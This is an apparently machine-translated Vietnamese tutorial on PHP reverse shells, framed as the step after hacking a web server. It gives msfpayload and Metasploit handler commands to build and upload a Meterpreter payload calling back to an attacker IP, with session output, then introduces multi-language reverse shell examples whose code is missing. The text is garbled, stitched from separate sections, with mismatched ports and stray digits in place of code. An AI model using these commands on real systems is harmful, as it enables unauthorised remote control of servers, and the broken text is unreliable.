Hướng dẫn php reverse shell payload - tải trọng shell đảo ngược php
Yêu cầu: Viết quyền truy cập vào máy chủ web.: Write access to webserver. Nội phân Chính showShow
Sau khi hack một ứng dụng web hoặc máy chủ ở mức độ mà bạn có thể tải các tệp lên nó, điều tiếp theo cần thử là lấy một shell thích hợp trên hệ thống. Cách tiếp cận phổ biến nhất là tạo vỏ đảo ngược. Theo cách tiếp cận này, một chương trình người nghe đầu tiên được chạy trên máy của hacker và sau đó chương trình/tải trọng/tập lệnh được chạy trên máy đích sao cho nó kết nối lại với máy của hacker để cung cấp shell/thiết bị đầu cuối. Tạo vỏ đảo ngược bằng cách sử dụng các tập lệnh PHP thường khá dễ dàng và có thể được thực hiện chỉ bằng một PHP nhỏ và một chương trình như Netcat. Netcat sẽ chạy như một người nghe (một máy chủ ổ cắm thực sự) và tập lệnh PHP phải được chạy trên máy chủ nạn nhân để nó kết nối lại. Trong ví dụ này, chúng tôi sẽ tạo ra các vỏ đảo ngược trong PHP bằng Metasploit. Vâng, nó là một công cụ quá lớn cho một nhiệm vụ nhỏ như vậy nhưng dù sao trông cũng rất tuyệt. Để tóm tắt những điều cơ bản về vỏ đảo ngược hãy nhớ rằng nó có 2 thành phần. Đầu tiên là người nghe trên hệ thống cục bộ/hacker chờ kết nối đến và thứ hai là tập lệnh/chương trình tải trọng chạy trên máy tính đích và được cấu hình để kết nối với trình nghe và cung cấp shell. listener (hacker machine) ++--- reverse shell payload (victim machine) Khi trình nghe được kết nối, nó có thể có một shell có thể được sử dụng để chạy bất kỳ lệnh nào (giới hạn trong đặc quyền người dùng) trên hệ thống đích. Tải trọng PHPVì vậy, bước đầu tiên là tạo chương trình tải trọng của chúng tôi. Điều này được thực hiện bằng cách sử dụng lệnh msfpayload và trông như thế này # msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=6000 R > exploit.php Lệnh trên sẽ tạo một tệp có tên là khai thác.php là tải trọng shell ngược. Nó chỉ là một tập lệnh PHP đơn giản được cấu hình theo các tham số LHOST và LPORT. Bây giờ tải lên khai thác.php lên hệ thống đích. Đợi đã, chưa chạy nó. Đầu tiên chúng ta cần bắt đầu người nghe như trong bước tiếp theo. Bắt đầu người ngheKhi tải trọng được tải lên, điều tiếp theo cần làm là bắt đầu trình nghe của chúng tôi, điều này sẽ bắt được ưu đãi kết nối đến. Bắt đầu msfconsole và chạy các lệnh sau msf > use exploit/multi/handler msf exploit(handler) > set LHOST 192.168.1.4 LHOST => 192.168.1.4 msf exploit(handler) > set LPORT 6000 LPORT => 6666 msf exploit(handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.4:6000 [*] Starting the payload handler... Bây giờ người nghe đã sẵn sàng. Bây giờ là lúc để chạy tập lệnh PHP trên máy chủ. Nó được tải lên, và bây giờ có thể được chạy bằng cách mở từ trình duyệt như một URL bình thường. http://targetmachine/some/path/exploit.php Ngay khi tập lệnh bắt đầu chạy, msfconsole sẽ chỉ ra kết nối và phiên đồng hồ đo sẽ xuất hiện [*] Sending stage (39217 bytes) to 192.168.1.101 [*] Meterpreter session 1 opened (192.168.1.4:6000 -> 192.168.1.101:43400) at 2013-03-04 17:29:18 +0530 meterpreter > Bây giờ máy đo đó đã hoạt động, đã đến lúc chơi với hệ thống. Vì nó là một shell ngược dựa trên PHP, nó không phụ thuộc vào hệ điều hành nền tảng đích theo mọi thứ và có thể chạy trên Windows và Linux. Một người đam mê công nghệ, blogger, người hâm mộ Linux và một nhà phát triển phần mềm. Viết về phần cứng máy tính, Linux và phần mềm nguồn mở và mã hóa trong Python, PHP và JavaScript. Anh ta có thể đạt được tại [Email & NBSP; được bảo vệ].[email protected]. bài chuyển hướng Thu thập thông tin với màn hình tập lệnh NMAP và tự động khởi động lại CROND trong CPANEL/WHM Monitor and auto restart crond in cpanel/whmVỏ đảo ngược là gì?Reverse Shell Là 1 loại Phiên Shell (NGOÀi RA CNN đó là Web Shell, Bind Shell, ..) Khi Đó Target sẽ tạo kết nối ra bên ngoài và chủ nhà Sẽng nghe. Trong trường hợp kẻ tấn công Mà ĐA Khai thác Đan lỗ hổng đó Một SHELL SHELL (HAY CUN GọI SHELL-BACK SHELL) CũNG CÓ Nội phân chính
Nội phân chính
Vỏ đảo ngược hoạt động như thế nào?Tạo tệp PHP độc hại:
Reverse shell thường là cách duy nhất để thực hiện quản lí từ xa tới host thông qua NAT, cho nên nó cần quyền admin để sử dụng. Tuy nhiên , nó cũng có thể được tận dụng bởi tội phạm mạng để kết nối và thực thi các lệnh trên những máy chủ được bảo vệ bởi firewall hoặc hệ thống bảo mật mạng khác. Ví dụ 1 đoạn mã độc malware được cài đặt trên máy chủ nội bộ thông qua email giả mạo hoặc 1 trang web độc hại có thể tạo ra 1 kết nối ra bên ngoài tới 1 CMS và cho phép hacker sử dụng được reverse shell .Trong khi Firewall thì đa số lọc các kết nối từ bên ngoài vào cho nên những kết nối từ nội bộ ra ngoài tới 1 server đang lắng nghe thường thành công. Khi thử tấn công đến server , kẻ tấn công thường thử khai thác các lỗ hổng về command injection ở trên hệ thống của mục tiêu . Các đoạn lệnh được inject thường là reverse shell script để cung cấp 1 môi trường thuận tiện cho việc sử dụng các command shell và thực thi các hành vi độc hại sau này. Ví dụ về Reverse shellĐể bắt đầu, attacker cần bắt đầu 1 listener processe trên chính máy của attacker để nhận các kết nối reverse shell tới IP của attacker, ví dụ IP attacker là 10.0.0.123 , trên Linux . Nó được thực hiện vởi netcat command như sau :
Nó sẽ tạo ra 1 process netcat listener trên cổng 1111. Lúc này attacker sẽ cần chạy đoạn mã thực thi trên máy trính mục tiêu, kết nối đến listener. Đã có rất nhiều reverse shell code có sẵn dành cho các loại hệ điều hành và viết bởi nhiều ngôn ngữ khác nhau (xem thêm tại pentestmonkey’s Reverse Shell Cheat Sheet ) và trên kali cũng có sẵn 1 loạt các webshells và reverese shell. Dưới đây là ví dụ dành cho Linux và Unix , một số sẽ hoạt động được cả trên windows nếu thay đổi command line interpreter gọi từ 6 thành 7.Bash Reverse shellNếu máy tính mục tiêu chạy trên Linux, nó khá là lý tưởng để bắt đầu bằng bash và gần như tất cả các hệ thống linux đều hoạt động với shell này :
Perl Reverse shellCũng như Bash , perl interpreter cũng gần như có sẵn trên các hệ thống server linux, cho nên Perl cũng là 1 lựa chọn khác để chạy reverse shell:
Python reverse shellVới sự phát triển khá phổ biến hiện nay của python thì 1 lựa chọn khác mà có sẵn trên các hệ thống có thể thực thi lệnh như sau : 0PHP reverse shellGần như đa số web server PHP cũng cung cấp các reverse shell vector : 1Java Reverse ShellJava thì cũng gần như có sẵn trên các ứng dụng server : 2Ruby Reverse ShellRuby thì cũng là 1 ngôn ngữ khá là nổi cho web app cho nên nó cũng có để phục vụ 1 số mục đích trên server : 3Ngăn chặn reverse shellTrừ khi bạn cố tình sử dụng reverse shell để quản trị từ xa thì bất kỳ mọi kết nối reverse shell nào cũng có thể là độc hại. Thật không may, cũng không có cách nào chắc chắn để chặn các kết nối reverse shell trên hệ thống mạng, đặc biệt là máy chủ. Bạn có thể giảm thiểu rủi ro bằng cách :
|